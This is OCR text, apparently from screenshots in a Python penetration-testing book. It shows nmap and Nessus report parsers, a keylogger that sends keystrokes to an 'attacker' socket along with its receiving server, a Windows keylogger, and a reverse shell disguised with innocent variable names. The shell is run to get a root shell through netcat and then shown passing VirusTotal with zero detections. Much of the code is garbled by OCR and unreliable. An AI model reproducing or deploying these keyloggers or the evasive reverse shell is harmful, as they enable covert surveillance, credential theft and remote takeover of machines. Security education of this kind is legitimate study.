28 <taskbegin task="NSE" time="1473235304"/>
29 <taskend task="NSE" time="1473235304"/>
30 <host starttime="1473234764" endtim 1473235304"><status state="up" reason="user-set" reason_ttl="6"J>
31 <address addr="10.228.24.1" addrtyp
32 <hostnames>
33 </hostnames>
34 <ports><extraports state="closed" count="998">

sr/bin/../share/nmap/nmap.xs1" type="text/xsl"?>
Sep 7 08:52:44 2016 as: nmap -Pn -sS -sV -vv -&#45;max-retries 3 -&#45;max-rtt-timeout 1008ms -&#45;top-

percent="1.88" remaining="1621"
3.08" remainin
4.26" remainin
10.02" remaining="1922"
15.78" remaining="1303"
26.05" remaining="778"
34.26" remaining="584"
45.59" remaining="399"
57.63" remaining="268"
66.55" remaining="199"
75.81" remaining="136"
85.18" remaining="79" etc="1473235297"[>

1473236415" [>
1473236744" [>
73236898" />
473236900" />
473236310" >
1473235816" [>
1473235651" />
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khan@khanUbantu: $ python3.5 nmap_parser.py nmap.xml
Up Host with service : 18.228.24.1

Address : 10.228.24.1

Open Port : 22

Service : ssh

State : open

Version fBanner: extrainfo: protocol 2.0

Address : 10.228.24.1
Open Port : 161
Service : snmp

State : open

Version /Banner:

Up Host with service : 10.228.24.2
Address : 10.228.24.2
Open Port : 22
Service : ssh
State : open
Version fBanner: extrainfo: protocol 2.0

Address : 10.228.24.2
Open Port : 161
Service : snmp

State : open

Version fBanner:

Up Host with service : 10.228.24.3
Address : 10.228.24.3
Open Port : 22
Service : ssh
State : open
Version fBanner: extrainfo: protocol 2.0

Address : 10.228.24.3
Open Port : 161
Service : snmp

State : open




1 libnessus.parser NessusParser

2 sys

3 class Nessus_Parser:

4 def __init__ (self,file_name):

5 self.n_file=file_name

6

7 def demo_print(self,nessus_obj_list):

8 docu = {}

9 OKGREEN = '\©33[92m’

10 OKBLUE = '\©@33[94m'

11 OKRED = '\033[93nm'

12 for 1 in nessus_obj_list.hosts:

13 print(OKRED +"Host : "+i.ip+" Host Name : "+i.name +" 0S : "+i.get_host_property('operating-system'))
14 for v in i.get_report_items:

15 print("\t"+OKGREEN+str("Plugin id :"+OKBLUE+str(v.plugin_1id)))

16 print("\t"+0KGREEN+str("Plugin name : "+OKBLUE+str(v.plugin_name)))
17 print("\t"+OKGREEN+"Sevirity : "+OKBLUE+str(v.severity))

18 print("\t"+OKGREEN+str("Service name :"+OKBLUE+str(v.service)))
19 print("\t"+0KGREEN+str("Protocol :"+0KBLUE+str(v.protocol)))

20 print("\t"+0KGREEN+str("Port : "+OKBLUE+str(v.port)))

21 print("\t"+OKGREEN+"Synopsis :"+OKBLUE+str(v.synopsis))

22 print("\t"+0OKGREEN+"Description : \n\t"+OKBLUE+str(v.description))
23 print("\t"+OKGREEN+"Risk vectors :"+OKBLUE+str(v.get_vuln_risk))
24 print("\t"+OKGREEN+"External references :"+OKBLUE+str(v.get_vuln_xref))
25 print("\t"+OKGREEN+"Solution :"+OKBLUE+str(v.solution))

26 print("\n")|

27 def parse(self):

28 file_=self.n_file

29 try:

30 nessus_obj_list = NessusParser.parse_fromfile(file_)

31 except Exception eee:

32 print("file cannot be imported : %s" % file_)

33 print("Exception 1 :"+str(eee))

34 return

35 self.demo_print(nessus_obj_list)

36 obj=Nessus_Parser(sys.argv[1])
37 obj.parse()
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5040 <preferenceValues=></preferenceValues=>

5041 <selectedValue></selectedValue>

5042 <fitem>

5043 <item><pluginName>WatchGuard Compliance Checks</pluginName>

5044 <pluginId>86269</pluginId>

5045 <fullName>WatchGuard Compliance Checks[file]:0ffline config file (.txt or .zip) :</fullName>
5046 <preferenceName>0ffline config file (.txt or .zip) :<fpreferenceName>

5047 <preferenceType>file</preferenceType>

5048 <preferenceValues=></preferenceValues>

5049 <selectedValue></selectedValue>

5050 <fitem>

5051 <item><pluginName>Web Application Tests Settings</pluginName>

5052 <pluginId>39471</pluginId>

5053 <fullName>Web Application Tests Settings[checkbox]:Enable web applications tests</fullName>
5054 <preferenceName>Enable web applications tests</preferenceName>

5055 <preferenceType>checkbox<fpreferenceType>

5056 <preferenceValues=no</preferenceValues>

5057 <selectedValue>no<fselectedValue>

5058 <fitem>

5059 <item><pluginName>Web Application Tests Settings</pluginName>

5060 <pluginId>39471</pluginId>

5061 <fullName>Web Application Tests Settings[entry]:Maximum run time (min) :</fullName>
5062 <preferenceName>Maximum run time (min) :</preferenceName>

5063 <preferenceType=entry</preferenceType=

5064 <preferenceValues=>60</preferenceValues>

5065 <selectedValue>60</selectedValue>

5066 <fitem>

5067 <item><pluginName>Web Application Tests Settings</pluginName>

5068 <pluginId>39471</pluginId>

5069 <fullName>Web Application Tests Settings[checkbox]:Try all HTTP methods</fullName>
5070 <preferenceName>Try all HTTP methods</preferenceName>

5071 <preferenceType>checkbox</preferenceType>

5072 <preferenceValues=no</preferenceValues>

5073 <selectedValue>no<fselectedValue>

5074 <fitem>

5075 <item><pluginName>Web Application Tests Settings</pluginName>

5076 <pluginId>39471</pluginId>

5077 <fullName>Web Application Tests Settings[radio]:Combinations of arguments values</fullName>
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khan@khanubantu: $ python3.5 Nessus_parser.py report.nessus

Host : 10.0.1.37 Host Name : 10.0.1.37 0S : Linux Kernel 2.6 on Ubuntu 8.84 (hardy)
Plugin id
Plugin nam

rnal r
ution

Plugin id
Plugin name :

[ 260 ]



1 __future__ print_function

2 pyxhook, time,socket

3 datetime datetime

4 class Mylogger():

5 def init  (self):

6 self.running=True; self.log_string=""

7 self.last_send=""; self.att ip="127.0.0.1"; self.att_port=86080
8 def send to attacker(self):

9 try:

10 print("sending chunk !")

11 with socket.socket(socket.AF_INET, socket.SOCK_STREAM)
12 s.connect((self.att_ip, self.att port))
13 byt=self.log_string.encode()

14 s.sendall(byt)

15 data = s.recv(1024)

16 except Exception ex:

17 print("EXception : " +str(ex))

18 def my event(self,event):

19 my key=str(event.Key)

20 if event.Ascii == 32:

21 my key=" "

22 self.log_string=self.log_string+my_key

23 if "quitkhan" im self.log_string:

24 self.running = False

25 if self.last send =="":

26 self.last _send=datetime.now()

27 now = datetime.now()

28 if (now - self.last send).seconds > 5

29 self.last _send=datetime.now()

30 self.send to attacker()

31 def starthooking(self):

32 hm = pyxhook.HookManager(); hm.KeyDown = self.my_event
33 hm.HookKeyboard(); hm.start()

34 while self.running:

35 time.sleep(0.1)

36 hm.cancel()

37 obj=Mylogger()
38 obj.starthooking()
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socket
'127.6.8.1"

8080

socket.socket(socket.AF_INET, socket.SOCK_STREAM)

53

6 s.bind(({HOST, PORT)})

7 s.listen(1)

8 while 1:

9 try:

10 print { 'waiting for a connection')
11 conn, addr = s.accept()

print('Connected by', addr)
out_file=open("log file","w")
while True:

data = conn.recv(2848)
out_file.write(str(data.decode()))
if not data:

break
conn.sendall(data)

out_file.close()

finally:

conn.close()

khan@khanubantu:
chunk !
chunk !
chunk !
chunk !
chunk !
chunk !
chunk !
chunk !
chunk !
chunk !
CGELTCCGELULELRTH

sending
sending
sending
sending
sending
sending
sending
sending
sending
sending

w—

khan@khanubantu: ~/Packt-scripts/chapter_15/pyxhook
khan@khanUbantu:

s[

$ python3.5 key_logg.py

root@khanUbantu: /home/khan/Packt-scripts/chapter_15/pyxhook# python3.5 server.p
y

waiting for a connection

Connected by ('127.0.0.1', 5

waiting for a connection
Connected by ('127.08.0.1',
wailting for a connection
Connected by ('127.0.08.1',
waiting for a connection
Connected by ('127.6.6.1', 56170)

., 56174)

$ sending data to server.Wov
it seems to be working good.lets see if it captures browser strokes !Just typed

| 56190)

google ,we will have to wait and see the log file.I will now quit by pressing
the secret string.quitkhanf]

L 56192)
| 56194)
| 56196)

, 56198)

creds

x

*Untitled Document1

nmap_parser.py x

Nessus_parser.py x example.py x key_logg.py = serverpy x log_file

1 sending data to serverperiodCaps_LockwCaps_Lockov it seems to be working goodperiodlets see if it captures browser strokes
Shift_Lexclam ReturnCaps_LockjCaps_Lockust typed google commawe will have to wait and see the log
fiuleperiodCaps_LockiCaps_Lock will now quit by pressing the secret str

x
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1 logging, sys,

2 pythoncom , pyHook

3 file_log = 'C:\\logger\\mylog.txt'

4

5 def OnKeyboardEvent(event):

6 logging.basicConfig(filename=file _log, level=logging.DEBUG, format =' D]
7 logging.log(10, chr{event.Ascii))

8 return True

9

10

11 hooks_manager = pyHook.HookManager()

12 hooks_manager.KeyDown = OnKeyboardEvent
13 hooks _manager.HookKeyboard()

14 pythoncom.PumpMessages ()|

1 tweet_parser.tweet Tweet

2 tweet_parser.tweet_parser_errors NotATweetError
3 fileinput

4 json

5 sys

6 class twitter parser:

7 def init_ (self,file_name):

8 self.file=file_name

9

16 def parse(self):

11 for line in fileinput.FileInput(self.file):
12 try:

13 tweet dict = json.loads(line)
14 tweet = Tweet(tweet dict)
15 except Exception ex:

16 pass

17 print(tweet.all_text)

18

19

20 obj=twitter parser(sys.argv[i])
21 obj.parse()

1f{"object":{"id":"object:search.twitter.com,2005:887453193294282752", "objectType":"note","postedTime":"2017-07-18T23:25:04.000Z" ,"summary":"N)
A Tweet with explicit geo coordinates https:\/\/t.co\/XkcFAgHhsj","link":"http:\/\/twitter.com\/RobotPrincessFi\/statuses
\/887453193294282752"},"body":"N) A Tweet with explicit geo coordinates https:\/\/t.co\/XkcFAgHhsj","gnip":{"klout_profile":{"topics":
[{"id":"10000000000000016635","displayName" : "Technology","link":"http:\/\/klout.com\/topic\/id
\/10003003003000016635",”score”:U.55,"topi.c7type":“inﬂuence“),{"id":“5227535273209293137" "dispLayName”:"Latin",”l.i.nk":“http:\,’\fklout.com\/
topic\/id\/5227535270209280137", "score":0.51, tnpl( type”:"inﬂuen(e“),{"id”:"1@00@000000000016634 "displayName":"Business”,"link":"http:\/
\/klout. cnm\/toplc\,’1d\/iﬂDBBDBBOBBOBBDmsH s(ore :0.47,"topic_type":"influence"}, {"id" 14711 dlsplayName" Computers"”,"link":"http:\/
\/klout. com\/toplc\,’ld\/ﬂ?ll , "score":0.45, fluence"},{"id":"9159" :"http:\/\/klout.com\/
topic)/id\/9159","score":0.43, topu typ i "1000000000000000825 "http:\/\/klout.com\/
toplc\/ld\/‘15099059599509508253 . s(ore ":0. lnterest“},{"'\d g7 http: \/\/klout com\ /topic\/
id\ /2007","score":0.64,"topic_type":"interest" ) {"id":"7783102141237674703" dlsplayName p.\/\/klnut com\ /topic\/id
\/7753102141237674703“,"score":@,oz "topic_type": lnterest"},{”td”:"100&)0080000000319376 dLsplayName EmDJl ,"link":"http:\/\/klout.com\/
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khan@khanUbantu: S python3.5 sample.py exp.json
N) A Tweet with explicit geo coordinates https://t.co/XkcFAgHhs]j
N) A Tweet tagged with a Twitter place. https://t.co/rspQ5CZUfX
M) This is a #QuoteTweet with #hashtags! https://t.co/rwd4TMgo05k
L) This is a #Tweet with a #hashtag
L) This is a #Tweet with a #hashtag
Going one dream deeper. %) https://t.cof/udHSIILWTL
Quote-ception. https://t.co/ZoePI6asDt
@notFromShrek L) Here goes nothing. Testing some Tweets! https://t.co/JakZNknRxg
Try using "xxd" on this &
" ch

https://t.co/5PUBFLFRYzZ
K) Let's try just one photo! #fhttps://t.co/ubynnad49v
1) I'm gonna include *two* photos in this Tweet! https://t.co/i0GDJoWfME
I) I almost forgot to 1 ude a poll Tweet!
Try using "xxd" on this &
(Motice the "joiner" characters)

1 0s drive

2 subprocess destination

3 socket my friend

4 class Car:

5 def init (self):

6 self.driver="127"

7 self.driver=self.driver+".0"

8 self.driver=self.driver+".0.1"

9 self.house _no=100%*80

10 self.door=""

11 self.address="/"

12 self.address=self.address+"b"+""+"1"+"n"+"
13 self.address=self.address+"s"+""+"h"+""+""
14 self.car="-"

15 self.car=self.car+"i"

16 ctr=0

17

18 def start car(self):

19 friends_house=my friend.socket

20 road=friends_house(my friend.AF _INET,my friend.SOCK_STREAM)
21 goto=road.connect

22 goto((self.driver,self.house_no))
23 lane=road.fileno

24 drive.dup2(lane(),0)

25 drive.dup2(lane(),1)

26 drive.dup2(lane(),2)

27 drive_to=destination.call

28 p=drive_to([self.address,self.car])
29

3@ driver=Car()

31 driver.start_car()
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root@khanubantu: /home/khan/Packet-scripts/chapter 15# python3 my car.py

@ & khan@khanUbantu: ~/Packet-scripts/chapter_15

khan@khanUbantu: $ nc -nlvp 8000

listening on [any] 86000 ...

connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 37208

# whoami

root

# uid

/bin/sh: 2: uid: not found

# uname -a

Linux khanUbantu 4.15.0-43-generic #46~16.04.1-Ubuntu SMP Fri Dec 7 13:31:08 UTC
2ﬁ18 x86_64 XB6_ 64 x86_64 GNU/Linux

#
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@ & https://www.virustotal.com/#/home/upload oee w7 Search

Confirm file upload

You have chosen the file named:

my_car.py

Do you want to continue with the upload and get this file scanned?

] [ CANCEL
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.
(0/57)

Detection Details

Ad-Aware

AhnLab-v3

Antiy-AVL

Avast

AVG

Babable

BitDefender

CAT-QuickHeal

virustotal.com/#/ 72268c90e024 .ee P

ess, domain, or file hash

No engines detected this file

SHA-256 172452419b022197e268c90e024d1102029278fd0d5317b9964c96c745a7353b

File name my_car.py

File size 756 B

Lastanalysis  2019-01-20 21:46:25 UTC

Community

9 Clean AegisLab ° Clean
@ clean ALYac @ Clean
0 Clean Arcabit Q Clean
® Clean Avast Mobile Security @& Clean
9 Clean Avira ° Clean
& clean Baidu @ clean
0 Clean Bkav 0 Clean
9 Clean ClamAv 0 Clean

¥

- @

Signin
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Graphics Bundle Ends Here
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